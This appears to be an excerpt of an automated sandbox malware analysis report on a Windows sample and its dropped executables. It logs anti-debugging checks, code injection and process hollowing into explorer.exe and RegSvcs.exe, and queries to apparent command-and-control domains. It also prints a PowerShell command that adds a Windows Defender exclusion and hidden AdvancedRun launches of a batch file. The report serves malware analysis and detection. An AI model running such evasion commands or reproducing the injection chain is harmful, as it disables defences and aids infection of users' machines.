Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	29_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	29_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	29_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	29_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	29_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	29_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	29_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	29_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D1C06 mov eax, dword ptr fs:[00000030h]	29_2_6A9D1C06
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A932430 mov eax, dword ptr fs:[00000030h]	29_2_6A932430
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A932430 mov eax, dword ptr fs:[00000030h]	29_2_6A932430
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A914439 mov eax, dword ptr fs:[00000030h]	29_2_6A914439
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94BC2C mov eax, dword ptr fs:[00000030h]	29_2_6A94BC2C
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8450 mov eax, dword ptr fs:[00000030h]	29_2_6A9E8450
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A955C70 mov eax, dword ptr fs:[00000030h]	29_2_6A955C70
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92FC77 mov eax, dword ptr fs:[00000030h]	29_2_6A92FC77
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92FC77 mov eax, dword ptr fs:[00000030h]	29_2_6A92FC77
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92FC77 mov eax, dword ptr fs:[00000030h]	29_2_6A92FC77
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A92FC77 mov eax, dword ptr fs:[00000030h]	29_2_6A92FC77
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8C75 mov eax, dword ptr fs:[00000030h]	29_2_6A9E8C75
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	29_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	29_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	29_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	29_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	29_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	29_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	29_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	29_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	29_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	29_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A94AC7B mov eax, dword ptr fs:[00000030h]	29_2_6A94AC7B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93746D mov eax, dword ptr fs:[00000030h]	29_2_6A93746D
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A913591 mov eax, dword ptr fs:[00000030h]	29_2_6A913591
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DB581 mov eax, dword ptr fs:[00000030h]	29_2_6A9DB581
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DB581 mov eax, dword ptr fs:[00000030h]	29_2_6A9DB581
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DB581 mov eax, dword ptr fs:[00000030h]	29_2_6A9DB581
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9DB581 mov eax, dword ptr fs:[00000030h]	29_2_6A9DB581
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A941DB5 mov eax, dword ptr fs:[00000030h]	29_2_6A941DB5
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A941DB5 mov eax, dword ptr fs:[00000030h]	29_2_6A941DB5
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A941DB5 mov eax, dword ptr fs:[00000030h]	29_2_6A941DB5
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9435A1 mov eax, dword ptr fs:[00000030h]	29_2_6A9435A1
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9CFDD3 mov eax, dword ptr fs:[00000030h]	29_2_6A9CFDD3
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9115C1 mov eax, dword ptr fs:[00000030h]	29_2_6A9115C1
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9195F0 mov eax, dword ptr fs:[00000030h]	29_2_6A9195F0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9195F0 mov ecx, dword ptr fs:[00000030h]	29_2_6A9195F0
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C8DF1 mov eax, dword ptr fs:[00000030h]	29_2_6A9C8DF1
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9495EC mov eax, dword ptr fs:[00000030h]	29_2_6A9495EC
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D3518 mov eax, dword ptr fs:[00000030h]	29_2_6A9D3518
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D3518 mov eax, dword ptr fs:[00000030h]	29_2_6A9D3518
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9D3518 mov eax, dword ptr fs:[00000030h]	29_2_6A9D3518
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91F51D mov eax, dword ptr fs:[00000030h]	29_2_6A91F51D
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91AD30 mov eax, dword ptr fs:[00000030h]	29_2_6A91AD30
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9E8D34 mov eax, dword ptr fs:[00000030h]	29_2_6A9E8D34
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944D3B mov eax, dword ptr fs:[00000030h]	29_2_6A944D3B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944D3B mov eax, dword ptr fs:[00000030h]	29_2_6A944D3B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A944D3B mov eax, dword ptr fs:[00000030h]	29_2_6A944D3B
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A941520 mov eax, dword ptr fs:[00000030h]	29_2_6A941520
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A941520 mov eax, dword ptr fs:[00000030h]	29_2_6A941520
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A941520 mov eax, dword ptr fs:[00000030h]	29_2_6A941520
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A941520 mov eax, dword ptr fs:[00000030h]	29_2_6A941520
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A941520 mov eax, dword ptr fs:[00000030h]	29_2_6A941520
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A937D50 mov eax, dword ptr fs:[00000030h]	29_2_6A937D50
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A953D43 mov eax, dword ptr fs:[00000030h]	29_2_6A953D43
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C8D47 mov eax, dword ptr fs:[00000030h]	29_2_6A9C8D47
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A9C3D40 mov eax, dword ptr fs:[00000030h]	29_2_6A9C3D40
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91354C mov eax, dword ptr fs:[00000030h]	29_2_6A91354C
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A91354C mov eax, dword ptr fs:[00000030h]	29_2_6A91354C
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93C577 mov eax, dword ptr fs:[00000030h]	29_2_6A93C577
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Code function: 29_2_6A93C577 mov eax, dword ptr fs:[00000030h]	29_2_6A93C577
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_02C00D90 mov eax, dword ptr fs:[00000030h]	33_2_02C00D90
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Code function: 33_2_02C0092B mov eax, dword ptr fs:[00000030h]	33_2_02C0092B

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cviueca	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe

Code function: 0_2_00426320 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00426320

Source: C:\Users\user\AppData\Local\Temp\192F.exe

Code function: 29_2_6A946B90 rdtsc

29_2_6A946B90

Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\cviueca

Code function: 26_1_004026C8 LdrLoadDll,

26_1_004026C8

Source: C:\Users\user\AppData\Local\Temp\5D4.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 0_2_00426320 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00426320
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Code function: 0_2_0041D090 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0041D090
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 22_2_00426320 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	22_2_00426320
Source: C:\Users\user\AppData\Roaming\cviueca	Code function: 22_2_0041D090 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_0041D090

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: iyc.jelikob.ru
Source: C:\Windows\explorer.exe	Domain query: xacokuo8.top
Source: C:\Windows\explorer.exe	Domain query: znpst.top
Source: C:\Windows\explorer.exe	Network Connect: 216.128.137.31 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: nusurtal4f.net
Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou-6000.top
Source: C:\Windows\explorer.exe	Domain query: hajezey1.top
Source: C:\Windows\explorer.exe	Domain query: sysaheu90.top

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: 319A.exe.7.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cviueca	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cviueca	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\AppData\Roaming\cviueca	Memory written: C:\Users\user\AppData\Roaming\cviueca base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Memory written: unknown base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Memory written: unknown base: 400000 value starts with: 4D5A	Jump to behavior

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\AppData\Roaming\cviueca

Code function: 22_2_02C70110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

22_2_02C70110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Thread created: C:\Windows\explorer.exe EIP: 3111920	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Thread created: unknown EIP: 4EC1920	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cviueca	Thread created: unknown EIP: 5011920	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\192F.exe	Thread created: unknown EIP: 54219C0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\69B5.exe	Thread created: unknown EIP: 5051920

Adds a directory exclusion to Windows Defender

Show sources

Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force			Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base address: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Section unmapped: unknown base address: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Section unmapped: unknown base address: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Section unmapped: unknown base address: 400000	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process created: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process created: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior

Source: C:\Users\user\Desktop\SkB6zJ6H3N.exe	Process created: C:\Users\user\Desktop\SkB6zJ6H3N.exe 'C:\Users\user\Desktop\SkB6zJ6H3N.exe'	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cviueca	Process created: C:\Users\user\AppData\Roaming\cviueca C:\Users\user\AppData\Roaming\cviueca	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97A5.exe	Process created: C:\Users\user\AppData\Local\Temp\97A5.exe C:\Users\user~1\AppData\Local\Temp\97A5.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\cviueca	Process created: C:\Users\user\AppData\Roaming\cviueca C:\Users\user\AppData\Roaming\cviueca	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp\5D4.exe' -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process created: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe' /EXEFilename 'C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\test.bat' /WindowState ''0'' /PriorityClass ''32'' /CommandLine '' /StartDirectory '' /RunAs 8 /Run	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe	Process created: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe 'C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe' /SpecialRun 4101d8 4288
Source: C:\Users\user\AppData\Local\Temp\3c9b9832-1586-402f-8df1-a3ced6cc50c2\AdvancedRun.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\0a4fc5b5-fef6-4ac6-8dad-72b92a431021\AdvancedRun.exe

Code function: 32_2_00401C26 GetCurrentProcessId,memset,memset,_snwprintf,memset,ShellExecuteExW,WaitForSingleObject,GetExitCodeProcess,GetLastError,

32_2_00401C26

Source: C:\Users\user\AppData\Local\Temp\192F.exe

Code function: 29_2_6A94E730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,RtlAllocateAndInitializeSid,

29_2_6A94E730

Source: explorer.exe, 00000007.00000000.292972549.0000000001400000.00000002.00020000.sdmp	Binary or memory string: uProgram Manager
Source: explorer.exe, 00000007.00000000.267477940.0000000005F40000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000007.00000000.292972549.0000000001400000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000007.00000000.292972549.0000000001400000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000007.00000000.280135901.0000000000EB8000.00000004.00000020.sdmp	Binary or memory string: ProgmanX
Source: explorer.exe, 00000007.00000000.270521490.0000000008ACF000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWndAj

Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\5D4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5D4.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\EDD.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EDD.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\319A.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\319A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
